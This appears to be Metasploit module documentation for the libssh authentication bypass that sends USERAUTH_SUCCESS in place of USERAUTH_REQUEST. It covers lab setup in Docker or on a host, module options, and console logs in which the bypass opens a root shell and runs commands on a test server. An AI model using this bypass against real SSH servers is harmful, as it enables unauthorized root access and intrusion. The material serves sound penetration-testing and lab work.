## Introduction

This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected
`USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.

Note that this module's success depends on whether the server code
can trigger the correct (`shell`/`exec`) callbacks despite only the state
machine's authenticated state being set.

Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.

## Setup

### Docker (Vulhub)

A prebuilt [vulhub](https://github.com/vulhub/vulhub) target is available for testing. This target does _not_ work with the `Shell` action, only the `Execute` action. To test that scenario, use the `Docker (Custom)` steps below.

```
docker run -it -p 3333:22 vulhub/libssh:0.8.1
```

### Docker (Custom)

In an empty folder create a new `Dockerfile` with the below file contents. Note that this Dockerfile is based on [vulhub/libssh:0.8.1](https://github.com/vulhub/vulhub/tree/4b1954c5c95140d99a4b94a7005707dd041196f6/base/libssh/0.8.1) with changes to work with the `Shell` target:

```Dockerfile
FROM buildpack-deps:stable-scm

LABEL maintainer="phithon <root@leavesongs.com>"

COPY ssh_server_fork.patch /ssh_server_fork.patch

RUN set -ex \
    && BUILDDEP="gcc g++ make pkg-config cmake xz-utils patch" \
    && apt-get update \
    && apt-get install --no-install-recommends -y \
        ca-certificates \
        wget \
        libc6-dev \
        zlib1g-dev \
        libgcrypt20-dev \
        libgpg-error-dev \
        $BUILDDEP \
    && wget -qO- https://www.libssh.org/files/0.8/libssh-0.8.3.tar.xz \
        | xz -c -d | tar x -C /usr/src --strip-components=1 \
    && mkdir -p /usr/src/build \
    && patch /usr/src/examples/ssh_server_fork.c < /ssh_server_fork.patch \
    && cd /usr/src/build \
    && cmake \
        -DCMAKE_INSTALL_PREFIX=/usr \
        -DWITH_SERVER=ON \
        -DWITH_STATIC_LIB=ON \
        -DWITH_GSSAPI=ON \
        -DWITH_GCRYPT=ON \
        -DWITH_SFTP=ON \
        -DWITH_THREADS=ON \
        .. \
    && make && make install \
    && apt-get purge -y --auto-remove $BUILDDEP

RUN ssh-keygen -t ecdsa -m pem -f /etc/ssh/ssh_host_ecdsa_key -q -N "" \
    && ssh-keygen -t dsa -m pem -f /etc/ssh/ssh_host_dsa_key -q -N "" \
    && ssh-keygen -t rsa -m pem -b 2048 -f /etc/ssh/ssh_host_rsa_key -q -N ""

CMD /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
```

Ensure the Metasploit patch is present in the same directory:

```
cp /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch .
```

Expected directory structure:

```
Dockerfile
ssh_server_fork.patch
```

Build the image:

```
docker build -t libssh:vulnerable .
```

Create a new container available on port `2222`:

```
docker run -it -p 2222:22 libssh:vulnerable
```

### Host

1. `git clone git://git.libssh.org/projects/libssh.git`
2. `cd libssh` and `git checkout libssh-0.8.3`
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
4. Follow the steps in `INSTALL` to build libssh
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)

## Actions

```
Name     Description
----     -----------
Execute  Execute a command
Shell    Spawn a shell
```

## Options

### CMD

Set this to a command or shell you want to execute. An `exec` channel
request will be sent instead of a `shell` channel request.

### SPAWN_PTY

Enable this if you would like a PTY. Some server implementations may
require this. Note that you WILL be logged in `utmp`, `wtmp`, and
`lastlog` in most cases.

### CHECK_BANNER

This is a banner check for libssh. It's not sophisticated, and the
banner may be changed, but it may prevent false positives due to how the
OOB authentication packet always returns `true`.

## Usage

Positive testing against unpatched libssh 0.8.3:

```
msf > use auxiliary/scanner/ssh/libssh_auth_bypass
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3
rhosts => 172.28.128.3
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222
rport => 2222
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
spawn_pty => true
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
verbose => true
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...

# id
id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
uname -a
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
# tty
tty
/dev/pts/1
#
```

Positive testing of shell commands using the `Execute` action:

```
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
action => Execute
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
cmd => id; uname -a
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] 172.28.128.3:2222 - Executed: id; uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) >
```

Negative testing against patched libssh 0.8.4:

```
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) >
```

Negative testing against an insufficiently implemented libssh server:

```
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - Net::SSH::ChannelOpenFailed: Session channel open failed (1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - Net::SSH::ChannelRequestFailed: Shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) >
```

Negative testing against OpenSSH:

```
msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
rport => 22
msf auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:22 - Attempting authentication bypass
[-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/libssh_auth_bypass) >
```

Confirming auth is still normally present using the OpenSSH client:

```
wvu@kharak:~$ ssh -vp 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null myuser@172.28.128.3
[snip]
debug1: Authentications that can continue: password
debug1: Next authentication method: password
myuser@172.28.128.3's password: wrongpassword
debug1: Authentications that can continue: password
Permission denied, please try again.
myuser@172.28.128.3's password: mypassword
debug1: Authentication succeeded (password).
Authenticated to 172.28.128.3 ([172.28.128.3]:2222).
[snip]
#
```
